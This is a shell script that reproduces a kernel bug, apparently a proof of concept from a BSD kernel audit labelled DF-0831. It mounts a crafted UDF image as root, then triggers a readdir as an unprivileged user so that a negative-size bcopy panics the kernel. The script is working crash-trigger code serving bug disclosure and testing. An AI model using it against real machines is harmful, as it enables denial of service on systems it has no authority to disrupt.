#!/bin/sh
# DF-0831 reproduce: mount the crafted UDF image (root) then readdir (unpriv)
# -> udf_getfid() 4-byte-alignment overshoot -> negative frag_size -> size_t(-3)
# bcopy -> kernel page-fault panic.
#
# This script is meant to be run ON THE GUEST as root from poc/DF-0831/.
# It performs the privileged setup (vnconfig + mount_udf), makes the mount
# readable by the unprivileged user, then triggers the bug via `ls` as maxx.
set -u
cd "$(dirname "$0")"
IMG="$(pwd)/df0831.udf"

echo "== DF-0831 reproduce =="
kldload udf 2>/dev/null || true
echo ">> vnconfig $IMG"
vnconfig -c vn0 "$IMG" || { echo "vnconfig failed"; exit 1; }
mkdir -p /mnt
echo ">> mount_udf -o ro /dev/vn0 /mnt"
mount_udf -o ro /dev/vn0 /mnt || { echo "mount failed"; vnconfig -u vn0; exit 1; }
chmod 755 /mnt
echo ">> triggering readdir as unprivileged user (maxx) -- expect kernel panic"
# The ls triggers getdents -> udf_readdir -> udf_getfid -> bcopy(size_t(-3)) -> panic.
# The kernel will page-fault; this ssh/foreground shell will be killed.
su maxx -c 'ls -la /mnt' 2>&1
echo "ls returned rc=$? (unexpected -- the kernel should have panicked)"